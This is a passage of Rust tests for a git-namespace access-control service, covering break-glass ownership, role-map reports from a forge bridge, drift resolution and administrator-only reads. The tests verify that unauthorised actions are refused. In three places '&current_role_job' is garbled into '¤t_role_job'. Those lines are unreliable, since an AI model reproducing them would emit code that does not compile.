let scope = Scope::Repo(repo_id(&snap, "github.com/acme/widgets"));
let mut set = store::get_rights(&f.vtc.state.git_ns, &scope)
.await
.unwrap();
let at = super::ops::now();
for who in [&dan, &erin] {
let mut row = super::ops::new_row(&who.did, super::model::Right::RepoOwn, &who.did, true);
row.break_glass = Some(super::model::BreakGlassMark {
by: who.did.clone(),
at,
justification: "nobody else".into(),
effective_at: None,
ratified_by: None,
ratified_at: None,
});
set.rows.push(row);
}
store::put_rights(&f.vtc.state.git_ns, &scope, &set)
.await
.unwrap();
let at = json!(super::wire::timestamp(at));
let out = ratify_as(&f, &dan, &erin.did, at.clone()).await;
assert_eq!(
code(&out),
"permissionDenied",
"a break-glass cannot confirm a break-glass"
);
ok(&ratify_as(&f, &f.bob, &erin.did, at).await);
}
#[tokio::test]
async fn an_unratified_break_glass_never_counts_toward_the_invariants() {
let f = carol_admin_fixture().await;
ok(&break_glass(&f, &f.carol, "git.repo.own", "github.com/acme/widgets").await);
let out = send_ver(
&f.vtc.state,
&f.bob,
"right/revoke",
"0.3",
json!({ "subject": f.bob.did, "right": "git.repo.own", "resource": "github.com/acme/widgets" }),
)
.await;
assert_eq!(code(&out), "git-ns:lastOwner");
let dana = Party::new();
seed_acl(&f.vtc.state, &dana.did, VtcRole::Admin).await;
let body = ok(&send_ver(
&f.vtc.state,
&dana,
"right/revoke",
"0.3",
json!({ "subject": f.carol.did, "right": "git.repo.own", "resource": "github.com/acme/widgets", "reason": "not needed" }),
)
.await);
assert!(body["revoked"]["breakGlass"].is_object());
assert_eq!(bg_audit_rows(&f).await.last().unwrap().event, "revoked");
}
#[tokio::test]
async fn the_break_glass_audience_is_every_other_administrator() {
let f = carol_admin_fixture().await;
let dana = Party::new();
seed_acl(&f.vtc.state, &dana.did, VtcRole::Admin).await;
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let ns = snap.namespaces[0].clone();
let got = super::break_glass::audience(&f.vtc.state, &snap, &ns, &f.carol.did)
.await
.unwrap();
let mut want = vec![f.admin.did.clone(), dana.did.clone()];
want.sort();
assert_eq!(
got, want,
"community admins and ns admins, never the actor, never a plain member"
);
let got = super::break_glass::audience(&f.vtc.state, &snap, &ns, &f.admin.did)
.await
.unwrap();
assert!(got.contains(&f.carol.did) && got.contains(&dana.did) && !got.contains(&f.bob.did));
}
#[tokio::test]
async fn view_0_4_shows_an_unratified_break_glass_to_every_administrator_it_concerns() {
let f = carol_admin_fixture().await;
ok(&break_glass(&f, &f.carol, "git.repo.own", "github.com/acme/widgets").await);
let dana = Party::new();
seed_acl(&f.vtc.state, &dana.did, VtcRole::Admin).await;
let dan = Party::new();
seed_acl(&f.vtc.state, &dan.did, VtcRole::Member).await;
let flagged = |v: &Value| {
v["rights"]
.as_array()
.unwrap()
.iter()
.any(|r| r["breakGlass"]["justification"].is_string())
};
let v = ok(&send_ver(&f.vtc.state, &dana, "view", "0.4", json!({})).await);
assert!(flagged(&v), "{v}");
let v = ok(&send_ver(&f.vtc.state, &f.bob, "view", "0.4", json!({})).await);
assert!(flagged(&v), "{v}");
let v = ok(&send_ver(&f.vtc.state, &dan, "view", "0.4", json!({})).await);
assert!(!flagged(&v), "{v}");
let v = ok(&send_ver(&f.vtc.state, &f.bob, "view", "0.2", json!({})).await);
assert!(!v.to_string().contains("breakGlass"));
let bg = json!({ "scope": "administrator", "breakGlass": true });
let body = ok(&send_v(
&f.vtc.state,
&dana,
<view_v0_5::Payload as trust_tasks_rs::Payload>::TYPE_URI,
bg.clone(),
)
.await);
assert!(
body["rights"][0]["breakGlass"]["ratifiedBy"].is_null(),
"{body}"
);
assert_eq!(body["namespaces"][0]["owner"], "acme");
let out = send_v(
&f.vtc.state,
&f.bob,
<view_v0_5::Payload as trust_tasks_rs::Payload>::TYPE_URI,
bg,
)
.await;
assert_eq!(code(&out), view_v0_5::error_codes::NOT_ADMINISTRATOR.code);
let body = ok(&send(&f.vtc.state, &f.admin, "right/list", json!({})).await);
assert!(
body["rights"]
.as_array()
.unwrap()
.iter()
.any(|r| r["breakGlass"]["by"] == json!(f.carol.did))
);
let act = ok(&send(&f.vtc.state, &f.admin, "activity/list", json!({})).await);
assert!(
act["items"]
.as_array()
.unwrap()
.iter()
.any(|i| i["action"] == "gitNs.right.breakGlass")
);
}
fn org_ladder() -> Value {
json!(["read", "triage", "write", "maintain", "admin"])
}
async fn report_role_map_from(
f: &Fixture,
bridge: &Party,
ns: &str,
mut event: Value,
ago: chrono::TimeDelta,
) -> TrustTaskOutcome {
if event.get("ladder").is_none() {
event["ladder"] = org_ladder();
}
let mut doc: TrustTask<Value> = vta_sdk::trust_task_sign::build_unsigned(
&uri3("bridge/event"),
json!({ "namespace": ns, "event": event }),
&bridge.did,
TEST_VTC_DID,
)
.unwrap();
doc.issued_at = doc.issued_at.map(|t| t - ago);
let key =
vta_sdk::trust_task_sign::HolderKey::from_did_key(&bridge.did, &bridge.secret_multibase)
.unwrap();
vta_sdk::trust_task_sign::sign_in_place_with(&mut doc, &key)
.await
.unwrap();
let body = serde_json::to_vec(&doc).unwrap();
dispatch_trust_task_core(&f.vtc.state, &JoinAuthCtx::rest(), &body).await
}
async fn report_role_map(f: &Fixture, ns: &str, event: Value) -> TrustTaskOutcome {
report_role_map_from(f, &f.bridge_party, ns, event, chrono::TimeDelta::zero()).await
}
async fn report_default_map(f: &Fixture, ns: &str) {
ok(&report_role_map(
f,
ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "maintain", "commit": "none" } }),
)
.await);
}
async fn role_jobs_for(f: &Fixture, repo: &str) -> Vec<super::bridge::BridgeJob> {
let mut jobs: Vec<_> = super::bridge::list_jobs(&f.vtc.state.git_ns.jobs_ks)
.await
.unwrap()
.into_iter()
.filter(|j| j.kind == super::bridge::JobKind::ProjectRoles && j.payload["repo"] == repo)
.collect();
jobs.sort_by_key(|j| j.created_at);
jobs
}
async fn namespace_now(f: &Fixture, ns: &str) -> super::model::Namespace {
Snapshot::load(&f.vtc.state.git_ns)
.await
.unwrap()
.namespace(ns)
.unwrap()
.clone()
}
#[tokio::test]
async fn a_role_map_report_is_kept_and_its_stale_repositories_are_reprojected() {
let (f, ns) = drift_fixture(json!([])).await;
super::bridge::project_roles(&f.vtc.state, false)
.await
.unwrap();
let before = role_jobs_for(&f, RES).await.len();
ok(&report_role_map(
&f,
&ns,
json!({
"type": "roleMapReported",
"roleMap": { "own": "admin", "maintain": "admin", "commit": "none" },
"repos": [{ "resource": RES, "roleMap": { "own": "admin", "maintain": "admin", "commit": "write" } }],
"stale": [RES],
}),
)
.await);
let n = namespace_now(&f, &ns).await;
assert_eq!(
super::role_map::source(&n),
super::role_map::Source::Reported
);
let m = super::role_map::for_repo(&n, RES).unwrap();
assert_eq!(m.commit, super::role_map::ForgeLevel::Write);
assert!(super::role_map::is_stale(&n, RES));
let nm = super::role_map::for_namespace(&n).unwrap();
assert_eq!(nm.commit, super::role_map::ForgeLevel::None);
super::bridge::project_roles(&f.vtc.state, false)
.await
.unwrap();
let jobs = role_jobs_for(&f, RES).await;
assert_eq!(jobs.len(), before + 1, "{jobs:?}");
let job = jobs.last().unwrap();
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/result",
json!({
"jobId": job.job_id, "outcome": "succeeded",
"repo": { "resource": RES, "forgeId": "100" },
"steps": [{ "step": "roles", "outcome": "applied" }],
}),
)
.await);
assert!(!super::role_map::is_stale(
&namespace_now(&f, &ns).await,
RES
));
}
#[tokio::test]
async fn a_role_map_report_is_refused_unordered_or_outside_its_namespace() {
let (f, ns) = drift_fixture(json!([])).await;
let out = report_role_map(
&f,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "write", "maintain": "admin", "commit": "none" } }),
)
.await;
assert_eq!(code(&out), "malformedRequest");
let out = report_role_map(
&f,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "maintain", "commit": "none" },
"stale": ["github.com/beta/tools"] }),
)
.await;
assert_eq!(code(&out), "permissionDenied");
let out = report_role_map(
&f,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "maintain", "commit": "none" },
"repos": [{ "resource": "github.com/beta/tools", "roleMap": { "own": "admin", "maintain": "maintain", "commit": "none" } }] }),
)
.await;
assert_eq!(code(&out), "permissionDenied");
assert_eq!(
super::role_map::for_namespace(&namespace_now(&f, &ns).await),
Some(
super::role_map::RoleMap::new(
super::role_map::ForgeLevel::Admin,
super::role_map::ForgeLevel::Maintain,
super::role_map::ForgeLevel::None
)
.unwrap()
)
);
let out = send_v(
&f.vtc.state,
&f.stranger,
&uri3("bridge/event"),
json!({ "namespace": ns, "event": { "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "maintain", "commit": "none" }, "ladder": org_ladder() } }),
)
.await;
assert_eq!(code(&out), "permissionDenied");
}
#[tokio::test]
async fn drift_adopt_derives_the_right_from_the_bridges_role_map() {
let (f, ns) = drift_fixture(json!([])).await;
ok(&report_role_map(
&f,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "admin", "commit": "none" } }),
)
.await);
report_drift(
&f,
&ns,
json!([{ "type": "roleAdded", "resource": RES, "account": carol_acct(), "observed": "admin" }]),
)
.await;
let body = ok(&resolve(
&f,
&f.bob,
json!({ "type": "roleAdded", "account": carol_acct(), "observed": "admin" }),
"adopt",
)
.await);
assert_eq!(body["right"]["right"], "git.repo.maintain");
}
#[tokio::test]
async fn drift_adopt_refuses_a_role_no_right_projects_to_under_the_map() {
let (f, ns) = drift_fixture(json!([])).await;
ok(&report_role_map(
&f,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "maintain", "maintain": "write", "commit": "none" } }),
)
.await);
report_drift(
&f,
&ns,
json!([{ "type": "roleAdded", "resource": RES, "account": carol_acct(), "observed": "admin" }]),
)
.await;
let out = resolve(
&f,
&f.bob,
json!({ "type": "roleAdded", "account": carol_acct(), "observed": "admin" }),
"adopt",
)
.await;
assert_eq!(code(&out), super::drift::NO_MATCHING_RIGHT);
}
#[tokio::test]
async fn reproject_queues_every_repository_for_a_namespace_admin_or_community_admin() {
let (f, _ns) = drift_fixture(json!([])).await;
adopt_with_forge_id(&f, "github.com/acme/gadgets", "101").await;
super::bridge::project_roles(&f.vtc.state, false)
.await
.unwrap();
let before = role_jobs_for(&f, RES).await.len();
let body = ok(&send(
&f.vtc.state,
&f.admin,
"roles/reproject",
json!({ "resource": "github.com/acme", "reason": "role map changed" }),
)
.await);
let mut repos: Vec<String> = serde_json::from_value(body["repos"].clone()).unwrap();
repos.sort();
assert_eq!(
repos,
vec!["github.com/acme/gadgets".to_string(), RES.to_string()]
);
assert_eq!(role_jobs_for(&f, RES).await.len(), before + 1);
assert!(
!role_jobs_for(&f, "github.com/acme/gadgets")
.await
.is_empty()
);
ok(&grant(
&f,
&f.admin,
&f.carol.did,
"git.ns.admin",
"github.com/acme",
)
.await);
let body = ok(&send(
&f.vtc.state,
&f.carol,
"roles/reproject",
json!({ "resource": RES }),
)
.await);
assert_eq!(body["repos"], json!([RES]));
}
#[tokio::test]
async fn reproject_is_an_owners_for_their_repository_only_and_refused_without_a_bridge() {
let (f, ns) = drift_fixture(json!([])).await;
let body = ok(&send(
&f.vtc.state,
&f.bob,
"roles/reproject",
json!({ "resource": RES }),
)
.await);
assert_eq!(body["repos"], json!([RES]));
for resource in ["github.com/acme", "github.com/acme/nothing-here"] {
let out = send(
&f.vtc.state,
&f.bob,
"roles/reproject",
json!({ "resource": resource }),
)
.await;
assert_eq!(code(&out), "permissionDenied", "{resource}");
}
let out = send(
&f.vtc.state,
&f.carol,
"roles/reproject",
json!({ "resource": RES }),
)
.await;
assert_eq!(code(&out), "permissionDenied");
let out = send(
&f.vtc.state,
&f.admin,
"roles/reproject",
json!({ "resource": "github.com/acme/nothing-here" }),
)
.await;
assert_eq!(code(&out), super::ops::UNKNOWN_REPO);
let out = send(
&f.vtc.state,
&f.admin,
"roles/reproject",
json!({ "resource": "github.com/nobody" }),
)
.await;
assert_eq!(code(&out), super::ops::UNKNOWN_NAMESPACE);
ok(&event(&f, &ns, json!({ "type": "installationRemoved" })).await);
let out = send(
&f.vtc.state,
&f.admin,
"roles/reproject",
json!({ "resource": RES }),
)
.await;
assert_eq!(code(&out), super::reproject::NO_FORGE_ACCESS);
let g = fixture().await;
let _manual = bind_manual(&g).await;
let out = send(
&g.vtc.state,
&g.admin,
"roles/reproject",
json!({ "resource": "github.com/acme" }),
)
.await;
assert_eq!(code(&out), super::reproject::MANUAL_MODE);
}
fn maintain_adopt() -> Value {
json!({ "type": "roleAdded", "account": carol_acct(), "observed": "maintain" })
}
fn maintain_drift() -> Value {
json!([{ "type": "roleAdded", "resource": RES, "account": carol_acct(), "observed": "maintain" }])
}
#[tokio::test]
async fn adopt_is_refused_after_binding_until_the_bridge_reports_its_map() {
let (f, ns) = drift_fixture_unreported(maintain_drift()).await;
let out = resolve(&f, &f.bob, maintain_adopt(), "adopt").await;
assert_eq!(code(&out), super::drift::ROLE_MAP_UNKNOWN);
let body = ok(&send_v(
&f.vtc.state,
&f.admin,
<namespace_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({}),
)
.await);
assert_eq!(body["namespaces"][0]["roleMapSource"], "unknown");
assert!(body["namespaces"][0].get("roleMap").is_none(), "{body}");
report_default_map(&f, &ns).await;
let body = ok(&resolve(&f, &f.bob, maintain_adopt(), "adopt").await);
assert_eq!(body["right"]["right"], "git.repo.maintain");
}
#[tokio::test]
async fn adopt_is_refused_after_the_namespace_changes_bridge_until_the_new_one_reports() {
let (f, ns) = drift_fixture(maintain_drift()).await;
let new_bridge = Party::new();
let mut n = namespace_now(&f, &ns).await;
n.bridge_did = Some(new_bridge.did.clone());
store::put_namespace(&f.vtc.state.git_ns.ks, &n)
.await
.unwrap();
let out = resolve(&f, &f.bob, maintain_adopt(), "adopt").await;
assert_eq!(code(&out), super::drift::ROLE_MAP_UNKNOWN);
let out = report_role_map(
&f,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "maintain", "commit": "none" } }),
)
.await;
assert_eq!(code(&out), "permissionDenied");
ok(&report_role_map_from(
&f,
&new_bridge,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "maintain", "commit": "none" } }),
chrono::TimeDelta::seconds(30),
)
.await);
let body = ok(&resolve(&f, &f.bob, maintain_adopt(), "adopt").await);
assert_eq!(body["right"]["right"], "git.repo.maintain");
}
#[tokio::test]
async fn a_role_map_report_issued_before_the_one_held_is_acknowledged_and_ignored() {
let (f, ns) = drift_fixture(json!([])).await;
let admin_map = json!({ "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "admin", "commit": "none" } });
ok(&report_role_map(&f, &ns, admin_map.clone()).await);
ok(&report_role_map_from(
&f,
&f.bridge_party,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "write", "maintain": "write", "commit": "none" }, "stale": [RES] }),
chrono::TimeDelta::seconds(60),
)
.await);
let n = namespace_now(&f, &ns).await;
let m = super::role_map::for_namespace(&n).unwrap();
assert_eq!(m.maintain, super::role_map::ForgeLevel::Admin);
assert!(!super::role_map::is_stale(&n, RES));
ok(&report_role_map(
&f,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "maintain", "commit": "none" } }),
)
.await);
let m = super::role_map::for_namespace(&namespace_now(&f, &ns).await).unwrap();
assert_eq!(m.maintain, super::role_map::ForgeLevel::Maintain);
}
#[tokio::test]
async fn a_role_map_report_off_the_forges_ladder_is_refused() {
let (f, ns) = drift_fixture(json!([])).await;
let out = report_role_map(
&f,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "write", "maintain": "write", "commit": "none" }, "ladder": ["write"] }),
)
.await;
assert_eq!(code(&out), "malformedRequest");
let out = report_role_map(
&f,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "triage", "commit": "none" }, "ladder": ["read", "write", "maintain", "admin"] }),
)
.await;
assert_eq!(code(&out), "malformedRequest");
}
#[tokio::test]
async fn a_stale_repository_the_vtc_does_not_reproject_is_not_kept() {
let (f, ns) = drift_fixture(json!([])).await;
ok(&report_role_map(
&f,
&ns,
json!({ "type": "roleMapReported", "roleMap": { "own": "admin", "maintain": "admin", "commit": "none" },
"stale": [RES, "github.com/acme/never-recorded"] }),
)
.await);
let n = namespace_now(&f, &ns).await;
assert_eq!(n.role_map.unwrap().stale, vec![RES.to_string()]);
}
#[tokio::test]
async fn an_unknown_map_weighs_a_maintain_revert_as_revoking_own() {
let (f, ns) = drift_fixture_unreported(maintain_drift()).await;
let n = namespace_now(&f, &ns).await;
assert!(super::role_map::revert_takes_ownership(&n, RES, "maintain"));
report_default_map(&f, &ns).await;
let n = namespace_now(&f, &ns).await;
assert!(!super::role_map::revert_takes_ownership(
&n, RES, "maintain"
));
}
fn admin_acct() -> Value {
json!({ "forge": "github.com", "id": "5550777", "login": "admin-a" })
}
async fn role_jobs(f: &Fixture) -> Vec<Value> {
super::bridge::list_jobs(&f.vtc.state.git_ns.jobs_ks)
.await
.unwrap()
.into_iter()
.filter(|j| j.kind == super::bridge::JobKind::ProjectRoles)
.map(|j| j.payload)
.collect()
}
fn desired_right(job: &Value, did: &str) -> Option<String> {
job["desiredRoles"]
.as_array()
.unwrap()
.iter()
.find(|r| r["subject"] == did)
.map(|r| r["right"].as_str().unwrap().to_string())
}
#[tokio::test]
async fn a_namespace_admin_is_projected_at_no_role_and_an_explicit_owner_as_owner() {
let (f, ns) = drift_fixture(json!([])).await;
link_account(&f, &ns, &f.admin, "5550777", "admin-a").await;
link_account(&f, &ns, &f.bob, "9120045", "bob-builds").await;
super::bridge::project_roles(&f.vtc.state, true)
.await
.unwrap();
let jobs = role_jobs(&f).await;
assert!(jobs.iter().all(|j| j.get("repo").is_some()), "{jobs:?}");
let job = ¤t_role_job(&f).await;
assert_eq!(
desired_right(job, &f.admin.did).as_deref(),
Some("git.ns.admin")
);
assert_eq!(
desired_right(job, &f.bob.did).as_deref(),
Some("git.repo.own")
);
assert_eq!(desired_right(job, &f.carol.did), None);
ok(&grant(&f, &f.admin, &f.bob.did, "git.ns.admin", "github.com/acme").await);
super::bridge::project_roles(&f.vtc.state, true)
.await
.unwrap();
let jobs = role_jobs(&f).await;
assert!(jobs.iter().all(|j| j.get("repo").is_some()));
let job = ¤t_role_job(&f).await;
assert_eq!(
desired_right(job, &f.bob.did).as_deref(),
Some("git.repo.own")
);
assert_eq!(
desired_right(job, &f.admin.did).as_deref(),
Some("git.ns.admin")
);
let n = job["desiredRoles"].as_array().unwrap().len();
assert_eq!(n, 2, "{job}");
}
#[tokio::test]
async fn a_namespace_commit_right_is_projected_as_commit_sign() {
let (f, ns) = drift_fixture(json!([])).await;
ok(&grant(
&f,
&f.admin,
&f.carol.did,
"git.commit.sign",
"github.com/acme",
)
.await);
let _ = ns;
assert_eq!(
projected(&f, &f.carol.did).await.as_deref(),
Some("git.commit.sign")
);
}
fn carol_is_admin_acct() -> Value {
carol_acct()
}
async fn projected(f: &Fixture, did: &str) -> Option<String> {
super::bridge::project_roles(&f.vtc.state, true)
.await
.unwrap();
desired_right(¤t_role_job(f).await, did)
}
async fn current_role_job(f: &Fixture) -> Value {
let open: Vec<Value> = super::bridge::list_jobs(&f.vtc.state.git_ns.jobs_ks)
.await
.unwrap()
.into_iter()
.filter(|j| {
j.kind == super::bridge::JobKind::ProjectRoles
&& j.state == super::bridge::JobState::Pending
&& j.payload["repo"] == RES
})
.map(|j| j.payload)
.collect();
assert_eq!(open.len(), 1, "{open:?}");
open.into_iter().next().unwrap()
}
#[tokio::test]
async fn an_admin_whose_own_is_revoked_falls_back_to_no_role() {
let (f, _ns) = drift_fixture(json!([])).await;
ok(&grant(
&f,
&f.admin,
&f.carol.did,
"git.ns.admin",
"github.com/acme",
)
.await);
ok(&grant(&f, &f.admin, &f.carol.did, "git.repo.own", RES).await);
assert_eq!(
projected(&f, &f.carol.did).await.as_deref(),
Some("git.repo.own")
);
ok(&send(
&f.vtc.state,
&f.admin,
"right/revoke",
json!({ "subject": f.carol.did, "right": "git.repo.own", "resource": RES }),
)
.await);
assert_eq!(
projected(&f, &f.carol.did).await.as_deref(),
Some("git.ns.admin")
);
}
#[tokio::test]
async fn an_admin_whose_own_lapses_falls_back_to_no_role() {
let (f, _ns) = drift_fixture(json!([])).await;
ok(&grant(
&f,
&f.admin,
&f.carol.did,
"git.ns.admin",
"github.com/acme",
)
.await);
ok(&grant(&f, &f.admin, &f.carol.did, "git.repo.own", RES).await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let scope = Scope::Repo(snap.repo_at(RES).unwrap().id.clone());
let mut set = store::get_rights(&f.vtc.state.git_ns, &scope)
.await
.unwrap();
for r in set.rows.iter_mut().filter(|r| r.subject == f.carol.did) {
r.expires_at = Some("2020-01-01T00:00:00Z".parse().unwrap());
}
store::put_rights(&f.vtc.state.git_ns, &scope, &set)
.await
.unwrap();
assert_eq!(
projected(&f, &f.carol.did).await.as_deref(),
Some("git.ns.admin")
);
}
#[tokio::test]
async fn a_departed_admin_is_not_projected() {
let (f, _ns) = drift_fixture(json!([])).await;
ok(&grant(
&f,
&f.admin,
&f.carol.did,
"git.ns.admin",
"github.com/acme",
)
.await);
assert_eq!(
projected(&f, &f.carol.did).await.as_deref(),
Some("git.ns.admin")
);
crate::acl::delete_acl_entry(&f.vtc.state.acl_ks, &f.carol.did)
.await
.unwrap();
assert!(super::lifecycle::sweep(&f.vtc.state).await.unwrap());
assert_eq!(projected(&f, &f.carol.did).await, None);
}
#[tokio::test]
async fn a_forge_role_held_by_a_namespace_admin_can_be_reverted() {
let (f, ns) = drift_fixture(json!([])).await;
link_account(&f, &ns, &f.admin, "5550777", "admin-a").await;
report_drift(
&f,
&ns,
json!([{ "type": "roleAdded", "resource": RES, "account": admin_acct(), "observed": "admin" }]),
)
.await;
ok(&resolve(
&f,
&f.admin,
json!({ "type": "roleAdded", "account": admin_acct(), "observed": "admin" }),
"revert",
)
.await);
let sent = f.bridge.jobs.lock().unwrap().clone();
let job = sent
.iter()
.map(|(_, p)| p)
.find(|p| p.get("removeAccounts").is_some())
.expect("a projectRoles job with removeAccounts");
assert_eq!(job["removeAccounts"], json!([admin_acct()]));
assert_eq!(
desired_right(job, &f.admin.did).as_deref(),
Some("git.ns.admin"),
"{job}"
);
}
#[tokio::test]
async fn a_revert_is_refused_for_an_admin_who_is_also_an_explicit_owner() {
let (f, ns) = drift_fixture(json!([])).await;
ok(&grant(
&f,
&f.admin,
&f.carol.did,
"git.ns.admin",
"github.com/acme",
)
.await);
ok(&grant(&f, &f.admin, &f.carol.did, "git.repo.own", RES).await);
report_drift(
&f,
&ns,
json!([{ "type": "roleAdded", "resource": RES, "account": carol_acct(), "observed": "write" }]),
)
.await;
let out = resolve(
&f,
&f.admin,
json!({ "type": "roleAdded", "account": carol_acct(), "observed": "write" }),
"revert",
)
.await;
assert_eq!(code(&out), "git-ns/drift/resolve:notRevertible");
}
#[tokio::test]
async fn a_namespace_admins_own_forge_admin_role_is_adopted_by_someone_else() {
let (f, ns) = drift_fixture(json!([])).await;
link_account(&f, &ns, &f.admin, "5550777", "admin-a").await;
report_drift(
&f,
&ns,
json!([{ "type": "roleAdded", "resource": RES, "account": admin_acct(), "observed": "admin" }]),
)
.await;
let sel = json!({ "type": "roleAdded", "account": admin_acct(), "observed": "admin" });
let out = resolve_naming(&f, &f.admin, sel.clone(), "adopt", Some(&f.admin.did)).await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
let dana = Party::new();
seed_acl(&f.vtc.state, &dana.did, VtcRole::Admin).await;
ok(&grant(&f, &f.admin, &dana.did, "git.ns.admin", "github.com/acme").await);
let body = ok(&resolve_naming(&f, &dana, sel, "adopt", Some(&f.admin.did)).await);
assert_eq!(body["right"]["subject"], json!(f.admin.did));
assert_eq!(body["right"]["right"], "git.repo.own");
assert_eq!(
projected(&f, &f.admin.did).await.as_deref(),
Some("git.repo.own")
);
}
#[tokio::test]
async fn someone_else_adopts_a_namespace_admins_forge_admin_role() {
let (f, ns) = drift_fixture(json!([])).await;
ok(&grant(
&f,
&f.admin,
&f.carol.did,
"git.ns.admin",
"github.com/acme",
)
.await);
report_drift(
&f,
&ns,
json!([{ "type": "roleAdded", "resource": RES, "account": carol_is_admin_acct(), "observed": "admin" }]),
)
.await;
let out = resolve(
&f,
&f.bob,
json!({ "type": "roleAdded", "account": carol_is_admin_acct(), "observed": "admin" }),
"adopt",
)
.await;
assert_eq!(code(&out), "permissionDenied");
let body = ok(&resolve(
&f,
&f.admin,
json!({ "type": "roleAdded", "account": carol_is_admin_acct(), "observed": "admin" }),
"adopt",
)
.await);
assert_eq!(body["right"]["subject"], json!(f.carol.did));
assert_eq!(body["right"]["right"], "git.repo.own");
assert_eq!(body["right"]["grantedBy"], json!(f.admin.did));
}
#[tokio::test]
async fn a_role_change_is_measured_against_the_projected_right_as_drift_resolve_0_3_says() {
let (f, ns) = drift_fixture(json!([])).await;
link_account(&f, &ns, &f.admin, "5550777", "admin-a").await;
ok(&grant(&f, &f.bob, &f.admin.did, "git.repo.maintain", RES).await);
report_drift(
&f,
&ns,
json!([{ "type": "roleChanged", "resource": RES, "account": admin_acct(), "expected": "maintain", "observed": "admin" }]),
)
.await;
let out = resolve_naming(
&f,
&f.admin,
json!({ "type": "roleChanged", "account": admin_acct(), "observed": "admin" }),
"adopt",
Some(&f.admin.did),
)
.await;
assert_eq!(code(&out), "git-ns:selfGrantNotAllowed");
}
use super::admin_reads::{namespace_list_v0_1, repo_list_v0_1, view_v0_5};
use crate::join::JoinTransport;
const TRANSPORTS: [JoinTransport; 3] = [
JoinTransport::Rest,
JoinTransport::DIDComm,
JoinTransport::Tsp,
];
fn ctx_for(transport: JoinTransport, who: &Party) -> JoinAuthCtx {
match transport {
JoinTransport::Rest => JoinAuthCtx::rest(),
_ => JoinAuthCtx {
transport,
sender_did: Some(who.did.clone()),
verified_signer: None,
},
}
}
async fn read_over(
f: &Fixture,
transport: JoinTransport,
who: &Party,
type_uri: &str,
payload: Value,
signed: bool,
) -> TrustTaskOutcome {
let mut doc: TrustTask<Value> =
vta_sdk::trust_task_sign::build_unsigned(type_uri, payload, &who.did, TEST_VTC_DID)
.unwrap();
if signed {
let key =
vta_sdk::trust_task_sign::HolderKey::from_did_key(&who.did, &who.secret_multibase)
.unwrap();
vta_sdk::trust_task_sign::sign_in_place_with(&mut doc, &key)
.await
.unwrap();
}
let body = serde_json::to_vec(&doc).unwrap();
dispatch_trust_task_core(&f.vtc.state, &ctx_for(transport, who), &body).await
}
async fn two_namespaces(f: &Fixture) -> (String, String) {
let acme = bind_manual(f).await;
let other = ok(&send(
&f.vtc.state,
&f.admin,
"namespace/bind",
json!({ "forge": "github.com", "owner": "other", "mode": "manual" }),
)
.await)["namespace"]["id"]
.as_str()
.unwrap()
.to_string();
ok(&grant(f, &f.admin, &f.carol.did, "git.ns.admin", "github.com/acme").await);
ok(&send(
&f.vtc.state,
&f.admin,
"repo/create",
json!({ "namespace": acme, "name": "widgets", "visibility": "public", "owners": [f.carol.did] }),
)
.await);
ok(&send(
&f.vtc.state,
&f.admin,
"repo/create",
json!({ "namespace": other, "name": "hidden", "visibility": "private", "owners": [f.bob.did] }),
)
.await);
ok(&send(
&f.vtc.state,
&f.carol,
"right/grant",
json!({ "subject": f.bob.did, "right": "git.commit.sign",
"resource": "github.com/acme/widgets", "reason": "release help" }),
)
.await);
(acme, other)
}
fn resources(v: &Value, list: &str, key: &str) -> Vec<String> {
let mut out: Vec<String> = v[list]
.as_array()
.unwrap()
.iter()
.map(|x| x[key].as_str().unwrap().to_string())
.collect();
out.sort();
out
}
#[tokio::test]
async fn namespace_list_answers_each_administrator_the_namespaces_they_administer() {
for t in TRANSPORTS {
let f = fixture().await;
let (acme, _) = two_namespaces(&f).await;
let all = ok(&read_over(
&f,
t,
&f.admin,
<namespace_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({}),
true,
)
.await);
assert_eq!(
resources(&all, "namespaces", "resource"),
["github.com/acme", "github.com/other"],
"{t:?}: a community administrator sees every namespace"
);
let acme_row = &all["namespaces"][0];
assert_eq!(acme_row["id"], acme.as_str());
assert_eq!(acme_row["repoCount"], 1);
assert_eq!(acme_row["headless"], false);
assert!(
acme_row["admins"]
.as_array()
.unwrap()
.contains(&json!(f.carol.did))
);
assert_eq!(
acme_row["forgeStatus"],
Value::Null,
"nothing reported, nothing shown"
);
let mine = ok(&read_over(
&f,
t,
&f.carol,
<namespace_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({}),
true,
)
.await);
assert_eq!(
resources(&mine, "namespaces", "resource"),
["github.com/acme"],
"{t:?}: a namespace admin sees their own namespace and nothing else"
);
let one = ok(&read_over(
&f,
t,
&f.carol,
<namespace_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({ "namespace": acme }),
true,
)
.await);
assert_eq!(
resources(&one, "namespaces", "id"),
[acme.as_str()],
"{t:?}"
);
}
}
#[tokio::test]
async fn namespace_list_refuses_a_caller_who_administers_nothing() {
for t in TRANSPORTS {
let f = fixture().await;
two_namespaces(&f).await;
for who in [&f.bob, &f.stranger] {
let out = read_over(
&f,
t,
who,
<namespace_list_v0_1::Payload as trust_tasks_rs::Payload>::TYPE_URI,
json!({}),
true,
)
.await;
assert_eq!(
code(&out),
namespace_list_v0_1::error_codes::NOT_ADMINISTRATOR.code,
"{t:?}"
);
}
}
}
#[tokio::test]
